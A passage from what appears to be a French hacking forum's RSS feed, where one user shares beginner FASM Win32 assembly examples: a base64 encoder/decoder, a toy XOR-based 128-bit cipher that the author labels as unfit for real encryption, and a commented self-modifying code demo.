<br />
;--------------------------------------------------<br />
section '.text' code readable executable<br />
;--------------------------------------------------<br />
<br />
entry &#36;<br />
<br />
    invoke    CreateFile,FilePath1,GENERIC_READ,NULL,NULL,&#92;<br />
        OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL<br />
    mov    [hFile1],eax<br />
<br />
    invoke    GetFileSize,[hFile1],NULL<br />
    mov    [nSize],eax<br />
<br />
    invoke    CreateFile,FilePath2,GENERIC_WRITE,NULL,NULL,&#92;<br />
        CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL<br />
    mov    [hFile2],eax<br />
<br />
    invoke    ReadFile,[hFile1],readbuf,[nSize],BytesRead,NULL<br />
    stdcall    cBase64,readbuf,writebuf,BytesToWrite<br />
    invoke    WriteFile,[hFile2],writebuf,[BytesToWrite],BytesWrite,NULL<br />
<br />
    invoke    CloseHandle,[hFile1]<br />
    invoke    CloseHandle,[hFile2]<br />
<br />
    invoke    ExitProcess<br />
<br />
<br />
proc ZeroMemory lpmem,length<br />
<br />
    mov    edi,[lpmem]<br />
    xor    ecx,ecx<br />
    mov    ecx,[length]<br />
    xor    al,al<br />
    repne    stosb<br />
    ret<br />
endp<br />
<br />
<br />
<br />
;--------------------------------------------------<br />
section '.data' data readable writeable<br />
;--------------------------------------------------<br />
<br />
fileptr dd 0<br />
<br />
FilePath1 db 'file',0<br />
FilePath2 db 'file64',0<br />
<br />
hFile1 dd 0<br />
hFile2 dd 0<br />
<br />
nSize dd 0<br />
NULL equ 0<br />
<br />
readbuf rb 0x64<br />
BytesRead dd 0<br />
<br />
writebuf rb 0x64<br />
BytesToWrite dd 0<br />
BytesWrite dd 0<br />
<br />
;--------------------------------------------------<br />
section '.idata' import data readable writeable<br />
;--------------------------------------------------<br />
library kernel32, 'kernel32.dll',&#92;<br />
    msvcrt, 'msvcrt.dll',&#92;<br />
    user32, 'user32.dll',&#92;<br />
    wsock32, 'Ws2_32.dll'<br />
<br />
include 'include/windows/api/kernel32.inc'<br />
include 'include/windows/api/user32.inc'<br />
include    'include/windows/api/wsock32.inc'<br />
<br />
import msvcrt,&#92;<br />
clock, 'clock',&#92;<br />
printf, 'printf',&#92;<br />
puts, 'puts',&#92;<br />
sprintf, 'sprintf',&#92;<br />
strcat, 'strcat'</code></div></div><br />
A compiler avec Fasm<br /><!-- start: postbit_attachments_attachment -->
<div style="background-color: #161616;padding: 5px 10px;">
	
<br /><!-- start: attachment_icon -->
<img src="https://forum.cs-hackers.com/images/attachtypes/zip.png" title="ZIP File" border="0" alt=".zip" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a class="attachembed" href="attachment.php?aid=734" target="_blank" title="">base64.zip</a><br><i> (Taille : 806 octets / Téléchargements : 0)</i> </div>
<!-- end: postbit_attachments_attachment --><br /><!-- start: postbit_attachments_attachment -->
<div style="background-color: #161616;padding: 5px 10px;">
	
<br /><!-- start: attachment_icon -->
<img src="https://forum.cs-hackers.com/images/attachtypes/zip.png" title="ZIP File" border="0" alt=".zip" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a class="attachembed" href="attachment.php?aid=735" target="_blank" title="">call.b64.zip</a><br><i> (Taille : 826 octets / Téléchargements : 0)</i> </div>
<!-- end: postbit_attachments_attachment -->]]></description>
			<content:encoded><![CDATA[<div class="codeblock"><div class="title">Code :</div><div class="body" dir="ltr"><code>proc cBase64 inbuf,outbuf,outbuflen<br />
<br />
    mov    esi,[inbuf]<br />
    mov    edi,[outbuf]<br />
    mov    ecx,[outbuflen]<br />
<br />
    @re:<br />
    or    byte [esi],0<br />
    jz    @end<br />
    add    dword [ecx],4<br />
    xor    eax,eax<br />
<br />
    or    byte [esi+2],0<br />
    jz    @f<br />
    lodsb<br />
    ror    eax,8<br />
    lodsw<br />
    bswap    eax<br />
    call    Encode<br />
    stosd<br />
    jmp    @re<br />
     @@:<br />
    or    byte [esi+1],0<br />
    jz    @f<br />
    lodsw<br />
    ror    ax,8<br />
    ror    eax,8<br />
    call    Encode<br />
    rol    eax,8<br />
    mov    al,0x3d<br />
    ror    eax,8<br />
    stosd<br />
    jmp    @re<br />
     @@:<br />
    lodsb<br />
    call    Encode<br />
    rol    eax,16<br />
    mov    ax,0x3d3d<br />
    ror    eax,16<br />
    stosd<br />
    jmp    @re<br />
<br />
   @end:<br />
    ret<br />
endp<br />
<br />
<br />
proc Encode<br />
<br />
    push    ecx<br />
    xor    ecx,ecx<br />
    mov    cl,4<br />
     @@:<br />
    xor    ebx,ebx<br />
    mov    bl,al<br />
    shr    bl,2<br />
    rol    eax,6<br />
    mov    dl,byte [base64+ebx]<br />
    ror    edx,8<br />
    dec    cl<br />
    jnz    @b<br />
<br />
    mov    eax,edx<br />
    pop    ecx<br />
    ret<br />
endp<br />
<br />
<br />
proc dBase64 inbuf,outbuf,outbuflen<br />
<br />
    mov    esi,[inbuf]<br />
    mov    edi,[outbuf]<br />
    mov    ecx,[outbuflen]<br />
<br />
    @re:<br />
    or    byte [esi],0<br />
    jz    @end<br />
    or    byte [esi+1],0<br />
    jz    @end<br />
<br />
    cmp    byte [esi+3],0x3d<br />
    jz    @f<br />
    add    dword [ecx],3<br />
    call    Decode<br />
    stosw<br />
    ror    eax,16<br />
    stosb<br />
    jmp    @re<br />
     @@:<br />
    cmp    byte [esi+2],0x3d<br />
    jz    @f<br />
    mov    byte [esi+3],0<br />
    add    dword [ecx],2<br />
    call    Decode<br />
    stosw<br />
    jmp    @re<br />
     @@:<br />
    mov    byte [esi+2],0<br />
    add    dword [ecx],1<br />
    call    Decode<br />
    stosb<br />
    jmp    @re<br />
<br />
   @end:<br />
    ret<br />
endp<br />
<br />
<br />
proc Decode<br />
<br />
    push    ecx<br />
    mov    cl,4<br />
     @@:<br />
    lodsb<br />
    call    strlen<br />
<br />
    shl    dl,2<br />
    mov    al,dl<br />
    shr    eax,2<br />
    shl    eax,8<br />
    dec    cl<br />
    jnz    @b<br />
<br />
    bswap    eax<br />
    pop    ecx<br />
    ret<br />
endp<br />
<br />
<br />
proc strlen<br />
<br />
    push    edi<br />
    push    ecx<br />
    xor    cl,cl<br />
<br />
    mov    edi,base64<br />
    not    cl<br />
    repne    scasb<br />
    not    cl<br />
    dec    cl<br />
    mov    dl,cl<br />
<br />
    pop    ecx<br />
    pop    edi<br />
    ret<br />
endp<br />
<br />
<br />
base64 db 0x41,0x42,0x43,0x44,0x45,0x46,0x47,0x48,&#92;<br />
      0x49,0x4a,0x4b,0x4c,0x4d,0x4e,0x4f,0x50,&#92;<br />
      0x51,0x52,0x53,0x54,0x55,0x56,0x57,0x58,&#92;<br />
      0x59,0x5a,0x61,0x62,0x63,0x64,0x65,0x66,&#92;<br />
      0x67,0x68,0x69,0x6a,0x6b,0x6c,0x6d,0x6e,&#92;<br />
      0x6f,0x70,0x71,0x72,0x73,0x74,0x75,0x76,&#92;<br />
      0x77,0x78,0x79,0x7a,0x30,0x31,0x32,0x33,&#92;<br />
      0x34,0x35,0x36,0x37,0x38,0x39,0x2b,0x2f</code></div></div><br />
<div class="codeblock"><div class="title">Code :</div><div class="body" dir="ltr"><code>format PE console<br />
<br />
include 'include/windows/win32a.inc'<br />
include 'base64.inc'<br />
<br />
;--------------------------------------------------<br />
section '.text' code readable executable<br />
;--------------------------------------------------<br />
<br />
entry &#36;<br />
<br />
    invoke    CreateFile,FilePath1,GENERIC_READ,NULL,NULL,&#92;<br />
        OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL<br />
    mov    [hFile1],eax<br />
<br />
    invoke    GetFileSize,[hFile1],NULL<br />
    mov    [nSize],eax<br />
<br />
    invoke    CreateFile,FilePath2,GENERIC_WRITE,NULL,NULL,&#92;<br />
        CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL<br />
    mov    [hFile2],eax<br />
<br />
    invoke    ReadFile,[hFile1],readbuf,[nSize],BytesRead,NULL<br />
    stdcall    cBase64,readbuf,writebuf,BytesToWrite<br />
    invoke    WriteFile,[hFile2],writebuf,[BytesToWrite],BytesWrite,NULL<br />
<br />
    invoke    CloseHandle,[hFile1]<br />
    invoke    CloseHandle,[hFile2]<br />
<br />
    invoke    ExitProcess<br />
<br />
<br />
proc ZeroMemory lpmem,length<br />
<br />
    mov    edi,[lpmem]<br />
    xor    ecx,ecx<br />
    mov    ecx,[length]<br />
    xor    al,al<br />
    repne    stosb<br />
    ret<br />
endp<br />
<br />
<br />
<br />
;--------------------------------------------------<br />
section '.data' data readable writeable<br />
;--------------------------------------------------<br />
<br />
fileptr dd 0<br />
<br />
FilePath1 db 'file',0<br />
FilePath2 db 'file64',0<br />
<br />
hFile1 dd 0<br />
hFile2 dd 0<br />
<br />
nSize dd 0<br />
NULL equ 0<br />
<br />
readbuf rb 0x64<br />
BytesRead dd 0<br />
<br />
writebuf rb 0x64<br />
BytesToWrite dd 0<br />
BytesWrite dd 0<br />
<br />
;--------------------------------------------------<br />
section '.idata' import data readable writeable<br />
;--------------------------------------------------<br />
library kernel32, 'kernel32.dll',&#92;<br />
    msvcrt, 'msvcrt.dll',&#92;<br />
    user32, 'user32.dll',&#92;<br />
    wsock32, 'Ws2_32.dll'<br />
<br />
include 'include/windows/api/kernel32.inc'<br />
include 'include/windows/api/user32.inc'<br />
include    'include/windows/api/wsock32.inc'<br />
<br />
import msvcrt,&#92;<br />
clock, 'clock',&#92;<br />
printf, 'printf',&#92;<br />
puts, 'puts',&#92;<br />
sprintf, 'sprintf',&#92;<br />
strcat, 'strcat'</code></div></div><br />
A compiler avec Fasm<br /><!-- start: postbit_attachments_attachment -->
<div style="background-color: #161616;padding: 5px 10px;">
	
<br /><!-- start: attachment_icon -->
<img src="https://forum.cs-hackers.com/images/attachtypes/zip.png" title="ZIP File" border="0" alt=".zip" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a class="attachembed" href="attachment.php?aid=734" target="_blank" title="">base64.zip</a><br><i> (Taille : 806 octets / Téléchargements : 0)</i> </div>
<!-- end: postbit_attachments_attachment --><br /><!-- start: postbit_attachments_attachment -->
<div style="background-color: #161616;padding: 5px 10px;">
	
<br /><!-- start: attachment_icon -->
<img src="https://forum.cs-hackers.com/images/attachtypes/zip.png" title="ZIP File" border="0" alt=".zip" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a class="attachembed" href="attachment.php?aid=735" target="_blank" title="">call.b64.zip</a><br><i> (Taille : 826 octets / Téléchargements : 0)</i> </div>
<!-- end: postbit_attachments_attachment -->]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Exemple de chiffrement-déchiffrement 128 bits]]></title>
			<link>https://forum.cs-hackers.com/showthread.php?tid=4991</link>
			<pubDate>Tue, 26 Feb 2019 11:38:33 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://forum.cs-hackers.com/member.php?action=profile&uid=58610">xddj</a>]]></dc:creator>
			<guid isPermaLink="false">https://forum.cs-hackers.com/showthread.php?tid=4991</guid>
			<description><![CDATA[Un programme que j'ai écrit lorsque je débutais. C'est un exemple simple de chiffrement-déchiffrement avec une clef de 128 bits. Ca a été écrit pour Fasm et WIn32 mais c'est facilement adaptable pour d'autres compilateurs et Linux.<br />
 <br />
Par contre, ce n'est qu'un exemple, ça doit donc être considéré en tant que tel et non utilisé pour chiffrer des documents. Pour cela, il y a de vrais solutions fiables, comme l'AES par exemple.<br />
<br />
<div class="codeblock"><div class="title">Code :</div><div class="body" dir="ltr"><code>format PE console<br />
include 'include/windows/win32a.inc'<br />
entry start<br />
<br />
section '.text' code readable executable<br />
<br />
<br />
<br />
start:<br />
&nbsp;&nbsp;&nbsp;&nbsp;stdcall&nbsp;&nbsp;&nbsp;&nbsp;demo,buf1,32,buf2&nbsp;&nbsp;&nbsp;&nbsp;;chiffrement des bytes du buf1 vers le buf2<br />
&nbsp;&nbsp;&nbsp;&nbsp;stdcall&nbsp;&nbsp;&nbsp;&nbsp;demo,buf2,32,buf3&nbsp;&nbsp;&nbsp;&nbsp;;déchiffrement des bytes du buf2 vers le buf3<br />
&nbsp;&nbsp;&nbsp;&nbsp;cinvoke&nbsp;&nbsp;&nbsp;&nbsp;printf,forms,buf3&nbsp;&nbsp;&nbsp;&nbsp;;affichage des bytes déchiffrés du buf3<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;ret<br />
<br />
<br />
<br />
proc demo inbuf,len,outbuf<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;&nbsp;&nbsp;&nbsp;esi,dword [inbuf]<br />
&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;&nbsp;&nbsp;&nbsp;edi,dword [outbuf]<br />
&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;&nbsp;&nbsp;&nbsp;ecx,dword [len]<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp; @@:<br />
&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;&nbsp;&nbsp;&nbsp;ebx,table<br />
&nbsp;&nbsp;&nbsp;&nbsp;@re:<br />
&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;&nbsp;&nbsp;&nbsp;al,byte [ebx]<br />
&nbsp;&nbsp;&nbsp;&nbsp;or&nbsp;&nbsp;&nbsp;&nbsp;al,al<br />
&nbsp;&nbsp;&nbsp;&nbsp;jz&nbsp;&nbsp;&nbsp;&nbsp;@b<br />
&nbsp;&nbsp;&nbsp;&nbsp;inc&nbsp;&nbsp;&nbsp;&nbsp;ebx<br />
&nbsp;&nbsp;&nbsp;&nbsp;shl&nbsp;&nbsp;&nbsp;&nbsp;ax,8<br />
&nbsp;&nbsp;&nbsp;&nbsp;lodsb<br />
&nbsp;&nbsp;&nbsp;&nbsp;cmp&nbsp;&nbsp;&nbsp;&nbsp;al,ah<br />
&nbsp;&nbsp;&nbsp;&nbsp;jz&nbsp;&nbsp;&nbsp;&nbsp;@f<br />
&nbsp;&nbsp;&nbsp;&nbsp;xor&nbsp;&nbsp;&nbsp;&nbsp;al,ah<br />
&nbsp;&nbsp;&nbsp;&nbsp; @@:<br />
&nbsp;&nbsp;&nbsp;&nbsp;stosb<br />
&nbsp;&nbsp;&nbsp;&nbsp;dec&nbsp;&nbsp;&nbsp;&nbsp;ecx<br />
&nbsp;&nbsp;&nbsp;&nbsp;jnz&nbsp;&nbsp;&nbsp;&nbsp;@re<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;ret<br />
endp<br />
<br />
<br />
<br />
<br />
section '.data' data readable writeable<br />
<br />
buf1 db 'la petite maison dans la prairie',0<br />
buf2 rb 256<br />
buf3 rb 256<br />
<br />
table db 0x7d,0x72,0x6f,0xd7,0x84,0x09,0xb2,0x18,&#92;<br />
&nbsp;&nbsp;&nbsp;&nbsp; 0x12,0xd7,0x43,0xf3,0x33,0x1b,0xa4,0x6f<br />
<br />
forms db '%s',13,10,0<br />
<br />
<br />
<br />
<br />
section '.idata' import data readable writeable<br />
<br />
library msvcrt, 'msvcrt.dll'<br />
<br />
import msvcrt,&#92;<br />
printf, 'printf'</code></div></div><br /><!-- start: postbit_attachments_attachment -->
<div style="background-color: #161616;padding: 5px 10px;">
	
<br /><!-- start: attachment_icon -->
<img src="https://forum.cs-hackers.com/images/attachtypes/zip.png" title="ZIP File" border="0" alt=".zip" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a class="attachembed" href="attachment.php?aid=733" target="_blank" title="">crypt128.zip</a><br><i> (Taille : 698 octets / Téléchargements : 0)</i> </div>
<!-- end: postbit_attachments_attachment -->]]></description>
			<content:encoded><![CDATA[Un programme que j'ai écrit lorsque je débutais. C'est un exemple simple de chiffrement-déchiffrement avec une clef de 128 bits. Ca a été écrit pour Fasm et WIn32 mais c'est facilement adaptable pour d'autres compilateurs et Linux.<br />
 <br />
Par contre, ce n'est qu'un exemple, ça doit donc être considéré en tant que tel et non utilisé pour chiffrer des documents. Pour cela, il y a de vrais solutions fiables, comme l'AES par exemple.<br />
<br />
<div class="codeblock"><div class="title">Code :</div><div class="body" dir="ltr"><code>format PE console<br />
include 'include/windows/win32a.inc'<br />
entry start<br />
<br />
section '.text' code readable executable<br />
<br />
<br />
<br />
start:<br />
&nbsp;&nbsp;&nbsp;&nbsp;stdcall&nbsp;&nbsp;&nbsp;&nbsp;demo,buf1,32,buf2&nbsp;&nbsp;&nbsp;&nbsp;;chiffrement des bytes du buf1 vers le buf2<br />
&nbsp;&nbsp;&nbsp;&nbsp;stdcall&nbsp;&nbsp;&nbsp;&nbsp;demo,buf2,32,buf3&nbsp;&nbsp;&nbsp;&nbsp;;déchiffrement des bytes du buf2 vers le buf3<br />
&nbsp;&nbsp;&nbsp;&nbsp;cinvoke&nbsp;&nbsp;&nbsp;&nbsp;printf,forms,buf3&nbsp;&nbsp;&nbsp;&nbsp;;affichage des bytes déchiffrés du buf3<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;ret<br />
<br />
<br />
<br />
proc demo inbuf,len,outbuf<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;&nbsp;&nbsp;&nbsp;esi,dword [inbuf]<br />
&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;&nbsp;&nbsp;&nbsp;edi,dword [outbuf]<br />
&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;&nbsp;&nbsp;&nbsp;ecx,dword [len]<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp; @@:<br />
&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;&nbsp;&nbsp;&nbsp;ebx,table<br />
&nbsp;&nbsp;&nbsp;&nbsp;@re:<br />
&nbsp;&nbsp;&nbsp;&nbsp;mov&nbsp;&nbsp;&nbsp;&nbsp;al,byte [ebx]<br />
&nbsp;&nbsp;&nbsp;&nbsp;or&nbsp;&nbsp;&nbsp;&nbsp;al,al<br />
&nbsp;&nbsp;&nbsp;&nbsp;jz&nbsp;&nbsp;&nbsp;&nbsp;@b<br />
&nbsp;&nbsp;&nbsp;&nbsp;inc&nbsp;&nbsp;&nbsp;&nbsp;ebx<br />
&nbsp;&nbsp;&nbsp;&nbsp;shl&nbsp;&nbsp;&nbsp;&nbsp;ax,8<br />
&nbsp;&nbsp;&nbsp;&nbsp;lodsb<br />
&nbsp;&nbsp;&nbsp;&nbsp;cmp&nbsp;&nbsp;&nbsp;&nbsp;al,ah<br />
&nbsp;&nbsp;&nbsp;&nbsp;jz&nbsp;&nbsp;&nbsp;&nbsp;@f<br />
&nbsp;&nbsp;&nbsp;&nbsp;xor&nbsp;&nbsp;&nbsp;&nbsp;al,ah<br />
&nbsp;&nbsp;&nbsp;&nbsp; @@:<br />
&nbsp;&nbsp;&nbsp;&nbsp;stosb<br />
&nbsp;&nbsp;&nbsp;&nbsp;dec&nbsp;&nbsp;&nbsp;&nbsp;ecx<br />
&nbsp;&nbsp;&nbsp;&nbsp;jnz&nbsp;&nbsp;&nbsp;&nbsp;@re<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;ret<br />
endp<br />
<br />
<br />
<br />
<br />
section '.data' data readable writeable<br />
<br />
buf1 db 'la petite maison dans la prairie',0<br />
buf2 rb 256<br />
buf3 rb 256<br />
<br />
table db 0x7d,0x72,0x6f,0xd7,0x84,0x09,0xb2,0x18,&#92;<br />
&nbsp;&nbsp;&nbsp;&nbsp; 0x12,0xd7,0x43,0xf3,0x33,0x1b,0xa4,0x6f<br />
<br />
forms db '%s',13,10,0<br />
<br />
<br />
<br />
<br />
section '.idata' import data readable writeable<br />
<br />
library msvcrt, 'msvcrt.dll'<br />
<br />
import msvcrt,&#92;<br />
printf, 'printf'</code></div></div><br /><!-- start: postbit_attachments_attachment -->
<div style="background-color: #161616;padding: 5px 10px;">
	
<br /><!-- start: attachment_icon -->
<img src="https://forum.cs-hackers.com/images/attachtypes/zip.png" title="ZIP File" border="0" alt=".zip" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a class="attachembed" href="attachment.php?aid=733" target="_blank" title="">crypt128.zip</a><br><i> (Taille : 698 octets / Téléchargements : 0)</i> </div>
<!-- end: postbit_attachments_attachment -->]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[code auto-modifiant asm]]></title>
			<link>https://forum.cs-hackers.com/showthread.php?tid=4984</link>
			<pubDate>Sat, 23 Feb 2019 19:25:48 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://forum.cs-hackers.com/member.php?action=profile&uid=58610">xddj</a>]]></dc:creator>
			<guid isPermaLink="false">https://forum.cs-hackers.com/showthread.php?tid=4984</guid>
			<description><![CDATA[Bonjour,<br />
<br />
J'ai déjà posté ce code sur le site Developpez mais je tiens à vous le faire partager vu que je l'avais bien commenté, ça pourra aider les débutants à comprendre.<br />
Ce code est à regarder au débugger, sinon vous pigerez que dal. Je vous recommande "Immunity debugger' selon moi le meilleur.<br />
ps: Tout les codes asm que j'ai posté sur ce forum son à compiler avec Fasm.<br />
<br />
<div class="codeblock"><div class="title">Code :</div><div class="body" dir="ltr"><code>format PE console 5.0<br />
include 'include/windows/win32a.inc'<br />
 <br />
;--------------------------------------------------<br />
section '.text' code readable writeable executable<br />
;--------------------------------------------------<br />
 <br />
entry &#36;<br />
 <br />
    mov    edi,texte<br />
    call    strlen<br />
    mov    [texte_len],ecx<br />
  begin:<br />
    mov    esi,mod_addr<br />
    mov    ebp,mod_addr_len<br />
    xor    dl,dl<br />
    not    dl<br />
     @@:<br />
    inc    dl<br />
    inc    ebp<br />
    add    esi,4<br />
    cmp    bl,dl<br />
    jnz    @b<br />
 <br />
    mov    esi,[esi]<br />
    mov    edi,y1<br />
    xor    ecx,ecx<br />
    mov    cl,12            ;Padding de la zone afin d'éviter<br />
    mov    al,0x90            ;des bytes restant de précédantes<br />
    repnz    stosb            ;instructions.<br />
    sub    edi,12<br />
    mov    cl,byte [ebp]<br />
    repnz    movsb            ;Injection d'un des "mod(nbr)".<br />
 <br />
    mov    esi,texte<br />
    mov    edi,txtbuf<br />
    mov    ecx,[texte_len]<br />
    @re:<br />
    mov    dl,4<br />
     @@:<br />
    mov    al,[esi]<br />
    inc    esi<br />
    ror    eax,8<br />
    dec    dl<br />
    jnz    @b<br />
     y1:<br />
    rd 3                ;Zone d'injection des "mod(nbr)".<br />
    mov    [edi],eax<br />
    add    edi,4<br />
    sub    ecx,4<br />
    jnz    @re<br />
 <br />
    push    ebx<br />
    cinvoke    printf,forms,txtbuf<br />
    cinvoke    puts,crlf<br />
    invoke    Sleep,1000<br />
    pop    ebx<br />
     z1:                ;Gestion de la fonction:<br />
    inc    bl            ;"modifier db 0,1,2,3,4,5,4,3,2,1,0"<br />
     z2:                ;par un "inc/dec bl" automodifiant.<br />
    cmp    bl,5<br />
    jnz    z3<br />
    mov    edi,z1<br />
    mov    ax,0xCBFE        ;"dec bl" opcode.<br />
    cmp    bl,5<br />
    jz    @f<br />
    sub    ah,8            ;Modificateur d'opcode en "inc bl".<br />
     @@:<br />
    stosw                ;Storage de l'opcode à "z1".<br />
    mov    esi,z2<br />
    mov    ax,0xFB80        ;"cmp bl" opcode.<br />
    stosw                ;Storage de l'opcode à "z2".<br />
    xor    al,al            ;"0" opcode suite.<br />
    cmp    bl,5<br />
    jz    @f<br />
    add    al,5            ;"5" opcode suite.<br />
     @@:<br />
    stosb                ;Storage à "z2" de la suite de<br />
     z3:                ;l'opcode "cmp bl" donc 5 ou 0.<br />
    dec    [nbrloop]<br />
    jnz    begin<br />
 <br />
    invoke    ExitProcess,0<br />
 <br />
 <br />
 strlen:<br />
    xor    ecx,ecx<br />
    xor    al,al<br />
     @@:<br />
    inc    edi<br />
    inc    ecx<br />
    cmp    byte [edi],al<br />
    jnz    @b<br />
    ret<br />
 <br />
;-[Data]------------------------------------------------------------------<br />
 <br />
txtbuf rb 1024<br />
 <br />
texte db 'A table is a form of furniture with a flat horizontal upper surface used to support objects of interest, for storage, show, and/or manipulation. The surface must be held stable; for reasons of simplicity, this is usually done by support from below by either a column, a "base", or at least three columnar "stands". In special situations, table surfaces may be supported from a nearby wall, or suspended from above. wikipedia',0<br />
 <br />
texte_len dd 0<br />
 <br />
mod_addr dd 0,0,mod1,mod2,mod3,mod4,mod5    ;adresse opcode<br />
mod_addr_len db 0,0,4,4,8,8,12            ;longueur opcode<br />
 <br />
mod1 dd 0x08C0C166                ;rol ax,8<br />
mod2 dd 0x9010C0C1                ;rol eax,16<br />
mod3 dd 0x08C0C166,0x9010C0C1            ;mix<br />
mod4 dd 0x9010C0C1,0x08C0C166            ;mix<br />
mod5 dd 0x08C0C166,0x9010C0C1,0x08C0C166    ;mix<br />
 <br />
nbrloop db 11<br />
crlf db 13,10,0<br />
 <br />
forms db '%s',10,0<br />
 <br />
;-[Import]----------------------------------------------------------------<br />
 <br />
data import<br />
 <br />
library kernel32,'kernel32.dll',&#92;<br />
    msvcrt,'msvcrt.dll',&#92;<br />
    user32,'user32.dll',&#92;<br />
    wsock32,'ws2_32.dll'<br />
 <br />
include 'include/windows/api/kernel32.inc'<br />
include 'include/windows/api/user32.inc'<br />
include    'include/windows/api/wsock32.inc'<br />
 <br />
import msvcrt,&#92;<br />
printf,'printf',&#92;<br />
puts,'puts'<br />
 <br />
end data</code></div></div><br /><!-- start: postbit_attachments_attachment -->
<div style="background-color: #161616;padding: 5px 10px;">
	
<br /><!-- start: attachment_icon -->
<img src="https://forum.cs-hackers.com/images/attachtypes/zip.png" title="ZIP File" border="0" alt=".zip" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a class="attachembed" href="attachment.php?aid=731" target="_blank" title="">code.auto.modifiant.zip</a><br><i> (Taille : 1.5 Ko / Téléchargements : 0)</i> </div>
<!-- end: postbit_attachments_attachment -->]]></description>
			<content:encoded><![CDATA[Bonjour,<br />
<br />
J'ai déjà posté ce code sur le site Developpez mais je tiens à vous le faire partager vu que je l'avais bien commenté, ça pourra aider les débutants à comprendre.<br />
Ce code est à regarder au débugger, sinon vous pigerez que dal. Je vous recommande "Immunity debugger' selon moi le meilleur.<br />
ps: Tout les codes asm que j'ai posté sur ce forum son à compiler avec Fasm.<br />
<br />
<div class="codeblock"><div class="title">Code :</div><div class="body" dir="ltr"><code>format PE console 5.0<br />
include 'include/windows/win32a.inc'<br />
 <br />
;--------------------------------------------------<br />
section '.text' code readable writeable executable<br />
;--------------------------------------------------<br />
 <br />
entry &#36;<br />
 <br />
    mov    edi,texte<br />
    call    strlen<br />
    mov    [texte_len],ecx<br />
  begin:<br />
    mov    esi,mod_addr<br />
    mov    ebp,mod_addr_len<br />
    xor    dl,dl<br />
    not    dl<br />
     @@:<br />
    inc    dl<br />
    inc    ebp<br />
    add    esi,4<br />
    cmp    bl,dl<br />
    jnz    @b<br />
 <br />
    mov    esi,[esi]<br />
    mov    edi,y1<br />
    xor    ecx,ecx<br />
    mov    cl,12            ;Padding de la zone afin d'éviter<br />
    mov    al,0x90            ;des bytes restant de précédantes<br />
    repnz    stosb            ;instructions.<br />
    sub    edi,12<br />
    mov    cl,byte [ebp]<br />
    repnz    movsb            ;Injection d'un des "mod(nbr)".<br />
 <br />
    mov    esi,texte<br />
    mov    edi,txtbuf<br />
    mov    ecx,[texte_len]<br />
    @re:<br />
    mov    dl,4<br />
     @@:<br />
    mov    al,[esi]<br />
    inc    esi<br />
    ror    eax,8<br />
    dec    dl<br />
    jnz    @b<br />
     y1:<br />
    rd 3                ;Zone d'injection des "mod(nbr)".<br />
    mov    [edi],eax<br />
    add    edi,4<br />
    sub    ecx,4<br />
    jnz    @re<br />
 <br />
    push    ebx<br />
    cinvoke    printf,forms,txtbuf<br />
    cinvoke    puts,crlf<br />
    invoke    Sleep,1000<br />
    pop    ebx<br />
     z1:                ;Gestion de la fonction:<br />
    inc    bl            ;"modifier db 0,1,2,3,4,5,4,3,2,1,0"<br />
     z2:                ;par un "inc/dec bl" automodifiant.<br />
    cmp    bl,5<br />
    jnz    z3<br />
    mov    edi,z1<br />
    mov    ax,0xCBFE        ;"dec bl" opcode.<br />
    cmp    bl,5<br />
    jz    @f<br />
    sub    ah,8            ;Modificateur d'opcode en "inc bl".<br />
     @@:<br />
    stosw                ;Storage de l'opcode à "z1".<br />
    mov    esi,z2<br />
    mov    ax,0xFB80        ;"cmp bl" opcode.<br />
    stosw                ;Storage de l'opcode à "z2".<br />
    xor    al,al            ;"0" opcode suite.<br />
    cmp    bl,5<br />
    jz    @f<br />
    add    al,5            ;"5" opcode suite.<br />
     @@:<br />
    stosb                ;Storage à "z2" de la suite de<br />
     z3:                ;l'opcode "cmp bl" donc 5 ou 0.<br />
    dec    [nbrloop]<br />
    jnz    begin<br />
 <br />
    invoke    ExitProcess,0<br />
 <br />
 <br />
 strlen:<br />
    xor    ecx,ecx<br />
    xor    al,al<br />
     @@:<br />
    inc    edi<br />
    inc    ecx<br />
    cmp    byte [edi],al<br />
    jnz    @b<br />
    ret<br />
 <br />
;-[Data]------------------------------------------------------------------<br />
 <br />
txtbuf rb 1024<br />
 <br />
texte db 'A table is a form of furniture with a flat horizontal upper surface used to support objects of interest, for storage, show, and/or manipulation. The surface must be held stable; for reasons of simplicity, this is usually done by support from below by either a column, a "base", or at least three columnar "stands". In special situations, table surfaces may be supported from a nearby wall, or suspended from above. wikipedia',0<br />
 <br />
texte_len dd 0<br />
 <br />
mod_addr dd 0,0,mod1,mod2,mod3,mod4,mod5    ;adresse opcode<br />
mod_addr_len db 0,0,4,4,8,8,12            ;longueur opcode<br />
 <br />
mod1 dd 0x08C0C166                ;rol ax,8<br />
mod2 dd 0x9010C0C1                ;rol eax,16<br />
mod3 dd 0x08C0C166,0x9010C0C1            ;mix<br />
mod4 dd 0x9010C0C1,0x08C0C166            ;mix<br />
mod5 dd 0x08C0C166,0x9010C0C1,0x08C0C166    ;mix<br />
